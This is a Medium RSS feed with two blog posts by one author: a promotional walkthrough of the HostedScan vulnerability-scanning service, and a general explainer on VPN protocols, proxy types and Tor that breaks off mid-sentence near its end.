<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abhijeet Kumar on Medium]]></title>
        <description><![CDATA[Stories by Abhijeet Kumar on Medium]]></description>
        <link>https://medium.com/@abhijeet-secops?source=rss-856b99adbb11------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xrx9SkUdrZ4DVhTW047YHw.jpeg</url>
            <title>Stories by Abhijeet Kumar on Medium</title>
            <link>https://medium.com/@abhijeet-secops?source=rss-856b99adbb11------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 15:57:49 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abhijeet-secops/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HostedScan: Safeguarding Your Business, One Scan at a Time]]></title>
            <link>https://medium.com/@abhijeet-secops/hostedscan-safeguarding-your-business-one-scan-at-a-time-10ee8bb33c67?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/10ee8bb33c67</guid>
            <category><![CDATA[hostedscan]]></category>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Mon, 06 Nov 2023 18:19:03 GMT</pubDate>
            <atom:updated>2023-11-06T18:38:25.958Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*20TfEKU4UAO9N961aGE5yA.png" /><figcaption><strong>Fig: HostedScan</strong></figcaption></figure><p>In today&#39;s digital age, the importance of cybersecurity cannot be overstated. With the increasing number of cyberattacks and data breaches, businesses need to stay vigilant and take proactive measures to protect their networks and systems. One effective way to do this is by conducting regular vulnerability scans. However, this can be a time-consuming and resource-intensive process, especially for smaller businesses with limited IT capabilities. This is where HostedScan comes in - a powerful, cloud-based vulnerability scanning solution that takes the hassle out of security testing.<br><br>HostedScan offers a comprehensive suite of tools and services designed to help businesses identify and mitigate security risks. From network vulnerability scanning to web application security testing, HostedScan&#39;s state-of-the-art technology provides a thorough assessment of a business&#39;s security posture. With its user-friendly interface and customizable reporting features, IT/Security teams can easily track and prioritize vulnerabilities, and make informed decisions about how to strengthen their security infrastructure. Plus, with 24/7 customer support and scalable pricing options, HostedScan is the perfect solution for businesses of all sizes.<br><br>In this blog post, we will explore the benefits of using HostedScan for a business, and how it can help stay one step ahead of cybercriminals. We will discuss the features and functionalities of the platform and by the end of this post, you will understand why HostedScan is the key to unlocking a business&#39;s security potential. So, let&#39;s get started!</p><h3>HostedScan Features</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n5Y8kM7JC8bgpByGKRSevQ.png" /><figcaption><strong>Fig: HostedScan</strong></figcaption></figure><p>One of the most intriguing aspect of HostedScan is its reliance on open-source software that have been widely adopted across the industry by millions of cybersecurity professionals, including prominent players in the field. Below are four well known tools present in the arsenal of HostedScan:-</p><ol><li><a href="https://www.openvas.org/"><strong>OpenVAS (Open Vulnerability Assessment Scanner)</strong></a><strong>: </strong>OpenVAS is an open-source vulnerability scanner that helps identify potential weaknesses in computer systems, networks, and applications. Developed and maintained by GreenboneAG, it offers various features such as unauthenticated and authenticated testing, support for multiple internet and industrial protocols, and a powerful scripting language to implement custom vulnerability tests. To keep up with emerging threats, OpenVAS relies on regularly updated feeds, including the commercial GSF (Greenbone Security Feed) and the free GCF (Greenbone Community Feed). While the GCF is maintained by the community, the GSF utilizes updates from security experts worldwide, ensuring timely responses to new vulnerabilities. These updates are delivered seamlessly through the Greenbone Security Manager.</li><li><a href="https://www.zaproxy.org/"><strong>OWASP ZAP (Zed Attack Proxy)</strong></a><strong>: </strong>OWASP ZAP is an open-source web application security scanner that helps identify vulnerabilities in web applications. It acts as a proxy between the user&#39;s browser and the web application, allowing it to intercept and analyze all incoming and outgoing traffic. ZAP provides a comprehensive set of tools for identifying and exploiting vulnerabilities such as SQL injection, XSS (cross-site scripting), CSRF (cross-site request forgery), and other common web application weaknesses. Its automated and manual testing capabilities, configuration analysis, support for various authentication mechanisms, and integration with other tools make it a valuable resource for organizations looking to improve their web application security posture.</li><li><a href="https://nmap.org/"><strong>Nmap (Network Mapper)</strong></a><strong>: </strong>Nmap is a powerful and versatile network scanning utility that helps discover hosts and services on computer networks, as well as vulnerabilities in networked systems. It can detect active hosts on a network, identify the services running on them, and determine the version numbers of various network services and applications. Nmap can also identify the OS (operating system) being used by a target host, by analyzing network traffic patterns and characteristic fingerprints. Additionally, it includes techniques for bypassing firewalls and ACLs (Access Control Lists) to gain access to restricted networks. However, its most powerful feature is the NSE (Nmap Scripting Engine) which enables the users to write custom scripts for advanced tasks such as data extraction, pattern matching, and vulnerability exploitation.</li><li><a href="https://github.com/nabla-c0d3/sslyze"><strong>SSLyze (SSL/TLS Scanner)</strong></a><strong>: </strong>SSLyze is a robust and efficient tool and library for scanning SSL/TLS configurations develop by Alban Diquet. It quickly assesses the security posture of a server by establishing a connection and evaluating its encryption settings, including certificates, cipher suites, elliptic curves, and more. Additionally, SSLyze identifies potential vulnerabilities to well-known TLS threats, such as Heartbleed, ROBOT, OpenSSL CCS injection, and others, helping to safeguard against these types of attacks.</li></ol><p>Now that we have covered some of the tools, let’s look a bit into the API access offered to the customers. HostedScan’s API is well documented and easy to use and integrate with custom tools.</p><p>Here’s one interesting API use case for businesses. So while hardening the networks, security teams often rely on using whitelists to allow only aproved IPs/traffic. With the use of one single cURL request (given below), a user can pull all the IPs used by HostedScan servers and whitelist them.</p><pre>curl -H &quot;Content-Type: application/json&quot; --request GET https://api.hostedscan.com/scanners | jq -c</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BAMtG7K9XKcRuq9YxAiD3g.png" /><figcaption><strong>Fig: API demo</strong></figcaption></figure><h3>Scans offered by HostedScan</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EY3M8TovZYNrGEH8ASzlzw.png" /><figcaption><strong>Fig: Offered Scan Types</strong></figcaption></figure><ol><li><strong>Vulnerability Scan (powered by OpenVAS):</strong> A vulnerability scan identifies potential weaknesses in an application, system, or network. It employs automated tools to detect flaws and evaluate the severity of the identified vulnerabilities. The goal is to provide a thorough inventory of possible security holes. Security professionals utilize vulnerability databases, vendor alerts, and asset management systems to perform tests and analyze results.</li><li><strong>Network Scan (powered by Nmap):</strong> A network scan searches for open ports, network misconfigurations, and security problems in traditional IT infrastructures like networks, servers, operating systems, and apps. It employs particular tools and techniques to look for weaknesses that cybercriminals might exploit. Both external and internal network scans are essential for strengthening network security.</li><li><strong>Web Application Scan (powered by OWASP ZAP):</strong> A web application scan locates vulnerabilities unique to online programs. It examines the application&#39;s code, inputs, and outputs to spot susceptible places that attackers could target. Web application scanning is crucial because it helps prevent attacks like SQL injection and cross-site scripting (XSS). Businesses may ensure their web applications are safe against emerging dangers by routinely performing these scans.</li><li><strong>SSL/TLS Scan (powered by </strong><a href="https://github.com/nabla-c0d3/sslyze"><strong>SSLyze</strong></a><strong>):</strong> An SSL/TLS scan verifies the legitimacy and strength of the encryption employed by a website&#39;s SSL/TLS certificates. It checks for certificate validity, key length, and supported encryption protocols. By identifying potential man-in-the-middle assaults, the scan contributes to safeguarding data privacy and protecting against cyberattacks. Regular SSL/TLS scans help organizations maintain secure connections and reassure clients that their data is protected.</li></ol><h3>Performing a Scan</h3><p><strong>Step 1: </strong>Add Targets by clicking on <strong>Add Targets</strong> button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ezWJBhuvjic7Ff-DRegDjw.png" /><figcaption><strong>Fig: Step 1</strong></figcaption></figure><p><strong>Step 2: </strong>Add the Target IP/FQDN and click on <strong>Submit</strong> button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*LkfqwAQFd70pJxGc8KQ_nA.png" /><figcaption><strong>Fig: Step 2</strong></figcaption></figure><p><strong>Step 3:</strong> In the dashboards page, click on <strong>New Scan</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HFxt5D3rYwvJEaW1GGycfA.png" /><figcaption><strong>Fig: Step 3</strong></figcaption></figure><p><strong>Step 4:</strong> Select the required scan type(s) and click <strong>Next</strong> button</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IgLklY4tbpe4Oo28Ofzu9w.png" /><figcaption><strong>Fig: Step 4</strong></figcaption></figure><p><strong>Step 5:</strong> In next popup, select the target(s) and click <strong>Next</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y0SGfFlSOgDDk8CuEfj10A.png" /><figcaption><strong>Fig: Step 5</strong></figcaption></figure><p><strong>Step 6:</strong> Now configure the scan settings annd click <strong>submit</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s4oAttfiYdbGyqtWwChKoQ.png" /><figcaption><strong>Fig: Step 6</strong></figcaption></figure><p><strong>Step 7:</strong> On successful submission, you’ll see something like the below image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*whYoDBhWTihdaRim4SnQQw.png" /><figcaption><strong>Fig: Step 7</strong></figcaption></figure><p><strong>Step 8:</strong> Once a scan is finished, check its report under the <strong>Reports</strong> section</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p00qPgDZDp4RfdWXn94GNw.png" /><figcaption><strong>Fig: Step 8</strong></figcaption></figure><p><strong>Step 9:</strong> Below is an image demonstrating the associated risks with different targets</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nf-Pwtv5oLYqh3R_qaVfWw.png" /></figure><p><strong>Step 10:</strong> After checking the results, either preview the report or export it as PDF/HTML or hard copy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gMGbvwhJZJEK7axW1VICKA.png" /></figure><h3>Use Cases</h3><p>Now that we have covered the inroduction and the tools included in the HostedScan, we&#39;ll explore some common use cases for HostedScan and how it can help businesses stay safe and secure in today&#39;s digital landscape.</p><ol><li><strong>Use Case 1: Compliance Scanning: </strong>HostedScan&#39;s platform can be used to perform compliance scanning for businesses that need to adhere to various regulatory standards such as PCI DSS, HIPAA, and GDPR. The platform offers pre-built policies and templates for these standards, making it easier for organizations to stay compliant. For example, a company that processes credit card transactions can use HostedScan to run quarterly PCI DSS scans and generate reports to demonstrate compliance to their acquiring bank.</li><li><strong>Use Case 2: Vulnerability Management: </strong>HostedScan&#39;s platform can also be utilized for vulnerability management by identifying and classifying potential weaknesses in a network, server, or application. The platform provides detailed reports highlighting vulnerabilities along with remediation recommendations. For instance, an IT team can use HostedScan to regularly scan their web applications for SQL injection vulnerabilities and address them promptly to prevent potential attacks.</li><li><strong>Use Case 3: Penetration Testing: </strong>HostedScan&#39;s platform can simulate real-world attacks to identify exploitable weaknesses in a network, server, or application. A security consultant can use HostedScan to perform a black box penetration test for a client and provide a report detailing the findings and recommended mitigations.</li><li><strong>Use Case 4: Web Application Security: </strong>HostedScan&#39;s platform can specifically focus on securing web applications by detecting issues like SQL injection, cross-site scripting (XSS), and cross-site request forgery (CSRF) among others. For example, a financial institution can use HostedScan to protect their online banking portal from common web application threats and ensure customer data remains secure by automating regular scans.</li></ol><h3>Pricing</h3><p>HostedScan offers a flexible and affordable pricing model, designed to meet the needs of businesses of all sizes. The platform provides a range of plans, starting from the Free Plan that includes basic features such as 3 external target scanning per month, importing risks from 3rd party providers, and summarized reports. For larger organizations, there are paid plans that offer advanced features like API access, Webhooks, Authenticated scans, and Internal scans among others.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wHzM0yV1ZxBBBd4Q1gS0CA.png" /><figcaption><strong>Fig: HostedScan Pricing</strong></figcaption></figure><p>What&#39;s more, HostedScan also offers customized solutions tailored to meet specific customer requirements of MSP/MSSP and security consultants. With its transparent and cost-effective pricing structure, HostedScan makes it easy for businesses to prioritize their security needs without breaking the bank.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aotrHIQWBTXSKkPY2Dw-CA.png" /><figcaption><strong>Fig: MSP Offering</strong></figcaption></figure><blockquote><strong>Pricing Info:</strong> https://hostedscan.com/pricing</blockquote><h3>Links</h3><blockquote><strong>Official Website:</strong> <a href="https://hostedscan.com/">https://hostedscan.com/</a></blockquote><blockquote><strong>Support Email: </strong>hello@hostedscan.com</blockquote><blockquote><strong>Github:</strong> https://github.com/hostedscan</blockquote><blockquote><strong>LinkedIn:</strong> https://www.linkedin.com/company/hostedscan</blockquote><blockquote><strong>X (Twitter):</strong> https://twitter.com/@hostedscan</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=10ee8bb33c67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Deep dive into VPN & Proxies: How to stay secure online]]></title>
            <link>https://medium.com/@abhijeet-secops/deep-dive-into-vpn-proxies-how-to-stay-secure-online-79731b9b564?source=rss-856b99adbb11------2</link>
            <guid isPermaLink="false">https://medium.com/p/79731b9b564</guid>
            <category><![CDATA[online-anonymity]]></category>
            <category><![CDATA[tor]]></category>
            <category><![CDATA[internet-privacy]]></category>
            <category><![CDATA[vpn-proxy]]></category>
            <category><![CDATA[best-practices]]></category>
            <dc:creator><![CDATA[Abhijeet Kumar]]></dc:creator>
            <pubDate>Fri, 16 Sep 2022 03:32:51 GMT</pubDate>
            <atom:updated>2022-10-09T08:34:09.268Z</atom:updated>
            <content:encoded><![CDATA[<h3>Deep dive into VPN &amp; Proxies: How to stay safe online</h3><p>In my last post I wrote about DNS, VPN &amp; Proxies, while that was focused on simple explanations this one is gonna be more comprehensive &amp; technical.</p><p>As usual you are requested to do your due diligence before using any service providers. I won’t talk much about DNS , so please visit my last post <a href="https://medium.com/@abhijeet-secops/breaking-dns-vpn-proxies-in-layman-terms-70b078db43e3?source=friends_link&amp;sk=0c5e3cc102f389f90b0f97510e0eb76b">DNS, VPN &amp; Proxies in layman terms</a> to see itsbreakdown.</p><p>So starting of, I first want to clear three terms i.e, Privacy, Security &amp; Anonymity.</p><p><strong>Privacy</strong>- Privacy is a concept where people can only see what you want them to see. For e.g- Maybe you don’t want everyone to know where you live, same could apply to your phone numbers, DOB, etc.</p><p><strong>Security</strong>- Security is the implementation of certain practices which helps stay safe. For e.g- You use locks to keep your homes safe, same could apply to using password to secure online accounts.</p><p><strong>Anonymity</strong>- Anonymity is the concept where your online is private online &amp; cannot be deduced easily. For e.g- A journalist would want to keep their identity safe in order to avoid getting tracked by criminal organizations.</p><blockquote>Sad to say, most people don’t even know the differences let alone practice them to full avail. It is also worth mentioning privacy &amp; anonymity are often used interchangeably however they both differ in more ways than one.</blockquote><blockquote><strong>Towards the end of this article I’ll share some techniques to protect your online identity. You are requested to read that portion thoroughly in order to reap maximum benefits.</strong></blockquote><h3><strong>VPN (Virtual Private Network)</strong></h3><p>VPN or Virtual Private Network is a special technology which creates a private tunnel between a client &amp; internet by routing traffic through a private network. This essentially enhances privacy &amp; security of traffic while also shielding from prying eyes of any MiTM (Man in The Middle).</p><p><strong>To better understand the workings of VPN, let’s first see what actually happens behind the scenes without it:-</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KVopbIe_VIGl0KghlZsMsQ.jpeg" /><figcaption><strong>Client → ISP → Internet → Different Servers</strong></figcaption></figure><ol><li>Client opens browser &amp; types a domain name.</li><li>A DNS request is sent to ISP over UDP (port 53) to fetch corresponding IP address.</li><li>ISP sends back the IP after receiving it from Authorative nameserver.</li><li>Browser sends a connection request to that IP using the selected protocol i.e, HTTP/HTTPS. This request travels over the ISP network.</li><li>Website sends reply which also travels over the ISP network.</li></ol><p><strong>Few important points,</strong></p><p>i. ISP can see all searches made using DNS &amp; even see HTTP traffic unless it’s encrypted.</p><p>ii. In case of HTTPS even if they can’t figure out exact transaction, ISPs can pretty much put it together using co-relation analysis.</p><p>iii. Websites will see the IP allocated by ISP which will be unique to a single device at a given time. With just a few search queries, the location of user can de figured out easily.</p><p>iv. The same applied to data transfer by mobile apps &amp; underlying OSs. So if you use an app which doesn’t implements HTTPS, your data is pretty much visible to ISP. Simply put this is a privacy nightmare.</p><p>v. This could mean ISP can use this data to track you across internet, build your profile, show you ads or even sell your data.</p><p>vi. Now replace ISP with a malicious MiTM (Man in The Middle), depending on their access level they could do identity theft, perform social engineering, infect your system with malware &amp; or even worse frame you for crimes they commit.</p><p>vii. In case you live in an restrictive regime, your government could impose censorship on selective content (websites, social media platforms, search engines, to name a few). Now since your ISP has to follow government orders, you won’t be able to see these sites without either VPN or a Proxy.</p><p><strong>Now let’s see how &amp; where VPN comes into play:-</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fh1TrRAVgeWP-PsF2pQm-w.png" /><figcaption><strong>Client → ISP → VPN Server → Internet → Different Servers</strong></figcaption></figure><ol><li>Client installs a VPN software, selects a protocol (<em>more on this below</em>) &amp; clicks connects.</li><li>Client’s request travels to VPN provider’s private network over ISP network. There VPN provider performs key-exchange &amp; allocates an IP to client.</li><li>Now connection between client &amp; VPN provider is encrypted and it will appear garbage to any onlooker. Client can now search privately without the worry of ISP or malicious actor snooping the connection.</li><li>Client opens browser &amp; searches for a website.</li><li>DNS request is processed by VPN provider (unless different DNS servers are configured at OS/network level).</li><li>Rest process is same as ISP with the exception of private tunnel.</li></ol><p><strong>Few important points,</strong></p><p>i. Connection is only encrypted between client &amp; VPN provider by default. If you visit an insecure website (non-HTTPS), your traffic between VPN &amp; website is up for grabs.</p><p>ii. VPN provider essentially becomes your new ISP, unless they are trusted they pose same threats.</p><p>iii. A single VPN IP is allocated to multiple clients instead of a isolated IP in case of ISP. It makes harder to pinpoint the actual location of a user. This also makes it easier to browse internet over public networks without revealing unnecessary data.</p><p>iv. VPN at its core provides privacy &amp; security however achieving anonymity using only VPN is a false claim. Using TOR in conjunction with VPN (<em>more about this in a later section below</em>) is a good practice to achieve this.</p><p>v. Services like <em>WebRTC </em>&amp; <em>WebGL</em> could reveal the original IP address even over a VPN. Disabling such services enhances the privacy.</p><p>vi. VPN cannot protect you from browser fingerprinting which could be utilized to identity an user across internet. There are also techniques like traffic analysis, search pattern recognition, behavior analysis among others which could reveal the identity of an user. <strong>This is why I said earlier than any VPN which claims you will be anonymous is making misleading claims.</strong></p><p>vii. Since VPN traffic can be co-related I’ll recommend to change your servers every once in a while according to your use case. As VPN IPs act like a static one, if you keep using one it will make it easier to pinpoint you among others users having the same IP due to browsing &amp; connection patterns. One more thing to mention is device time can also be used to track someone across the internet. Now I won’t go into much specifics however this is something to keep in mind while surfing the internet.</p><p>As we already know that VPN creates a private tunnel between client &amp; server, let’s see how this is implemented. VPNs use specialized tunneling protocols which help them create this private &amp; secure tunnel. This is also worth mentioning that a VPN connection is only as strong as the protocol it uses.</p><p>Each protocols is usually divided into 2 components i.e,</p><p><strong>(i) Control channel</strong> which looks after key exchange, IP, DNS, &amp; routes assigning , and authenticating client to VPN server.</p><p><strong>(ii) Data channel</strong> which transports the actual encapsulated data from client to server &amp; vice versa.</p><p>Working in absolute harmony these channels play an important role in keeping communication secure.</p><p>Now that we know the basics of protocols, let’s discuss some of the most common ones in use. There are 5 widely popular protocols namely, PPTP, L2TP, IKEv2, OpenVPN &amp; WireGuard. Please note that some protocols use either TCP or UDP. Only OpenVPN is known to use both.</p><p>Recently I have came to know that<strong> </strong><a href="https://protonvpn.com/"><strong>ProtonVPN</strong></a> is also working on developing a new protocol which will be more effecting in bypassing firewalls &amp; evading censorship.</p><p>Now let’s find out more about these protocols:-</p><ol><li><strong>PPTP</strong>- PPTP or Point to Point Tunneling Protocol<strong> </strong>uses Enhanced GRE (General Routing Encapsulation) to establish connection over TCP port 1723. Originally introduced in 1999 it is an enhanced implementation of PPP (Point to Point Protocol). I want to point out that PPTP doesn’t do any encryption by itself &amp; relies on PPP to do so. Now please beware that PPP uses RC4 algorithm (upto 128 bits) which is known to have several vulnerabilities itself. <strong>For the love of your data please don’t ever use this protocol.</strong></li><li><strong>L2TP</strong>- L2TP or Layer 2 Tunneling Protocol uses IPSec (Internet Protocol Security) along with UDP ports 500, 5500 &amp; 1701 to function. Designed as replacement for PPTP, it used AES algorithm to enforce the encryption. As we discussed channels earlier, control part is handled by IPSec while data part is handled by L2TP. <strong>Please note that according to some leaked reports NSA had allegedly broken L2TP back in 2016 so it’s wise to look into more secure ones.</strong></li><li><strong>IKEv2</strong>- IKEv2 or Internet Key Exchange version 2 also uses IPSec with UDP ports 500 &amp; 4500 in order to function. While L2TP implemented IPSec, IKEv2 is practically built on top of it. It uses a unique feature known s security associations while leveraging the strength of upto 256 bit with encryption algorithms like AES, Blowfish, ChaCha20, and Camellia. Please note this is a fast &amp; secure protocol compared to the previous two and is widely used in industry.</li><li><strong>OpenVPN</strong>- OpenVPN is likely the most used VPN protocol in the world with robust security features. It uses SSL/TLS in place of IPSec &amp; offers services over both UDP &amp; TCP which makes it suitable for multiple use cases. It also leverages the power of hardware acceleration something which most VPN protocols tend not to use. One of the most liked thing about it that it uses OpenSSL library &amp; FPS (Perfect Forward Secrecy) to provide best possible connection security. One downside of this security mechanism is that OpenVPN requires high computing power in order to deliver. <strong>Now do keep in mind that while UDP mode provides fast speeds it cannot bypass censorship due to it’s very nature, this is where TCP mode comes into play.</strong></li><li><strong>WireGuard</strong>- The latest addition to protocol family, WireGuard is the fastest VPN protocol till date. By using UDP ports it relies on algorithms like ChaCha20, Curve25519, Poly1305, BLKE2s in order to offer lightning fast speeds which are second to none. However due to the fact that UDP is used censorship bypass is still not possible at the moment. Do note that while WireGuard doesn’t offer robust security like OpenVPN, it still packs a punch. With proper configurations it offers fastest connection speeds with reasonable security controls.</li></ol><p>Now that we know about VPN, let’s dive into Proxies next.</p><h3><strong>Proxy</strong></h3><p>Proxy is a special type of server which acts as an intermediary between a client &amp; outside networks (like internet). It listens for a request and then either forward it or drop it as per configurations.<strong> </strong>Please note that while Proxies work in a similar manner as VPN, they have different use cases.</p><p>Proxy servers operates on two implementation levels as follows:-</p><p><strong>I. Forward Proxy ( when implemented on client side)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*StmyatL5S7I9zVIDrkBvEQ.jpeg" /><figcaption><strong>Client → Forward Proxy Server → ISP → Internet → Different Servers</strong></figcaption></figure><ol><li>Client gets the IP of a forward proxy server &amp; <strong>configures their system</strong> to use it while browsing.</li><li>Client opens browser &amp; searches for “<em>medium.com</em>”.</li><li>This query goes to the forward proxy server who <strong>makes the request</strong> on client’s behalf.</li><li>Once “<em>medium.com</em>” sends response to forward proxy server, it then<strong> forwards it back </strong>to client. It is pretty effective method since in ideal scenario website won’t know who actually requested the resources.</li></ol><p><strong>II.</strong> <strong>Reverse Proxy (when implemented on server side)</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yi3-F0lA2OUiqnyKOGMNMg.jpeg" /><figcaption><strong>Client → ISP → Internet → Reverse Proxy Server → Different Servers</strong></figcaption></figure><ol><li>Client opens browser &amp; searches for “<em>medium.com</em>”.</li><li>This query travels to internet over ISP’s network.</li><li>Reverse Proxy server receives the requests &amp; checks the configurations for taking action. If action is allowed, this requests is sent to respective server for processing.</li><li>Once webserver has processed the request it is sent back to reverse proxy server who then forwards it to client via internet. This technique of putting reverse proxy servers help defend actual servers from malicious attacks like DoS/DDoS.</li></ol><p><strong>Now few important points,</strong></p><p>i. Proxy servers in most cases don’t encrypt traffic by default. In cases they do more often than not its HTTPS. Make sure to check these things before using any proxy server. This is where VPNs shine with their unique encryption algorithms.</p><p>ii. Proxy servers can store browsing logs and use them as per the owner’s policies. It’s always worth paying for a good proxy service than using free ones.</p><p>iii. One more danger is that most free (and sometimes paid) proxies are often deployed by few organizations who then infect them with malwares in order to infect users &amp; thus create an army of bots. These bots are then sold to cybercriminals to do as they please i.e launching DoS/DDoS attacks, using these computers to breach organizations, among other nefarious things.</p><p>iv. Proxy servers can share origin IP in headers like <em>x-forwarded-for </em>which could unmask the client. They can also easily modify the requests/responses without the client knowing.</p><p>v. It’s a good idea to use multiple proxy servers from different providers in a chain. This will provide better security with the downside of slow connection speed. One of the most used example of this type of configuration is Tor Network (more on this towards end of this article).</p><p>vi. Two of the most famous forward proxy servers for security community are Burp Suite &amp; OWASP ZAP. Both of these are used to intercept web requests &amp; then perform several operations on them in order to find vulnerabilities &amp; other sensitive information which could help in protecting the intended source &amp; destination.</p><p>Now let’s see different type of proxy protocols we can use:-</p><p><strong>I. SOCKS- </strong>SOCKS aka Secure Sockets is a protocol which sends your data as is. That means your data is transferred without any attempt to read it. SOCKS based proxy servers are used simply for data forwarding &amp; receiving. SOCKS currently has two versions i.e, v4 &amp; v5 out of which v5 is latest &amp; more robust than former.</p><p><strong>II. HTTP- </strong>HTTP or Hyper Text Transfer Protocol enabled proxy servers are used as content filters. That means they can see all your data &amp; then either forward or drop it based on their configurations. When these servers use SSL/TLS they are known as HTTPS proxy servers.</p><p>Now that we know of some common proxy protocols, let’s see their different types:</p><p><strong>I. Transparent proxy- </strong>These proxies are also known as level 1 proxy. They don’t provide anonymity to their users &amp; almost always share origin IP in headers like <em>x-forwarded-for </em>&amp; announce to servers about them being proxy.<em> </em>Their main use case is to cache web content &amp; then store it for a pre determined time period in order to save bandwidth &amp; other resources.</p><p><strong>II. Anonymous proxy- </strong>These proxies are also known as level 2 proxy. While they tend not to share origin IP, they do announce that they are acting as proxy for a client. These proxies can be used in the scenario when you don’t want to reveal origin IP however have no qualms about sharing that a proxy server is in use.</p><p><strong>III. Elite proxy</strong>- These proxies are also known as level 3 proxy. They act as independent client &amp; don’t give away any indicators which could classify them as proxy server. They are ideal for the scenario when a client don’t want to disclose that they are using a proxy server.</p><h4><strong>TOR (The Onion Router)</strong></h4><p>Now that we knocked off some basic concepts about VPNs &amp; Proxies, let me tell you some ways of protecting online identity.</p><p>In both VPN &amp; Proxy section I have mentioned a term TOR (The Onion Router) which is an advanced open-source implementation of proxy servers in order to provide anonymity to internet users.</p><p>Let’s see how TOR works:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*myurXzkNVtdGdd_csRGFGQ.png" /><figcaption><strong>Client → TOR entry node → TOR middle node → TOR exit node → Internet → Different servers</strong></figcaption></figure><ol><li>Client downloads TOR software bundle &amp; clicks on TOR browser.</li><li>TOR browser start the connection process which involves finding routes &amp; opening local ports usually (9050).</li><li>After routes are set client searches for <em>“medium.com”.</em></li><li>This request is first sent to TOR entry node when intercepts it &amp; forwards to middle node.</li><li>Middle node intercepts the request &amp; forwards it to the exit node.</li><li>Exit node intercepts the request &amp; then forwards it to the webserver for <em>“medium.com”</em>.</li><li>When webserver sends data back, same process is repeated in reverse order.</li></ol><p><strong>Few important points,</strong></p><p>i. In TOR Network one node only knows the address of next node. This use of compartmentalization helps secure the identity of all engaged nodes in a communication.</p><p>ii. TOR is used for evading surveillance &amp; protecting online identity. It is one of the most important tool in the arsenal of privacy advocates, journalists, spies &amp; other privacy-minded people.</p><p>iii. TOR network operates like layers of onion hence the name The Onion Router. Traffic is forwarded to next node without sharing whole route which makes it difficult to track someone in TOR network.</p><p>iv. TOR makes all users identical in order to resist browser fingerprinting, in case you use additional add-ons it could render TOR ineffective.</p><p>v. TOR traffic can also be decrypted if uses follows poor internet hygiene which includes browsing HTTP sites, downloading shady files, logging to social media/tracking sites, and following a browsing pattern. It could also happen if an attacker has access to your network traffic along with control over entry &amp; exit nodes.</p><p>vi. ISPs can see when someone uses TOR, for this fact the use of VPN is necessary. However using this technique could risk the integrity of TOR traffic if VPN is compromised or you did a misconfiguration. Unless you know exactly what are you doing please don’t use them together.</p><p>Now let’s see how we can use VPN in conjunction with TOR to gain maximum anonymity. Please note while I’m sharing this this to give you an overview making proper configurations is your responsibility.</p><p><strong>[ Disclaimer:</strong> <strong>First three</strong> scenarios are bad operational security in my perception &amp; I only recommend <strong>fourth</strong> with a good provider. <strong>]</strong></p><p><strong>I. Client → ISP → TOR- </strong>In this scenario, client connects to TOR over default ISP network. Here ISP can see that client connected to TOR network as well as see the IP of entry node. Howver they cannot see any traffic that is exchanged as well as the destination.</p><p><strong>II. Client → Proxy → ISP → TOR- </strong>In this scenario, client first connects to a proxy server then connects to TOR network. While this does sounds more secure than previous scenario it’s not. Here in addition to ISP, Proxy server can also see the origin IP &amp; entry node. This scenario TBH doesn’t makes sense in my mind &amp; I strongly recommend against using it.</p><p><strong>III. Client → TOR → Proxy- </strong>In this scenario, client first connects to TOR network then uses it to connects to a proxy service. I don’t even know why someone would even do attempt to do this as it undermines the whole concept of TOR. I strongly recommend against using this setup unless you have some exceptional use case for this. Even in that scenario please mote it could be used to decipher your online identity as well as traffic.</p><p><strong>IV. Client → VPN → TOR- </strong>In this scenario, client first connects to a VPN then tunnels the traffic though their servers. Then connects to TOR network using its software suite. This does two things i.e, prevents ISP from knowing you are using TOR &amp; also prevents TOR from seeing your origin IP. Now this goes without saying that VPN provider should be trusted &amp; situated in a country where they couldn’t be forced to handover their logs/ spy on their users. Now this is a setup which could be used by most users to stay anonymous over internet while enjoying the best of both world i.e VPN &amp; Proxy.</p><blockquote>Kudos, you finally made it to the end of this article. Please accept my humble gratitude for reading my article, I hope you liked it. I’m dropping some TOR implementations here, please do your research &amp; see if they match your particular use 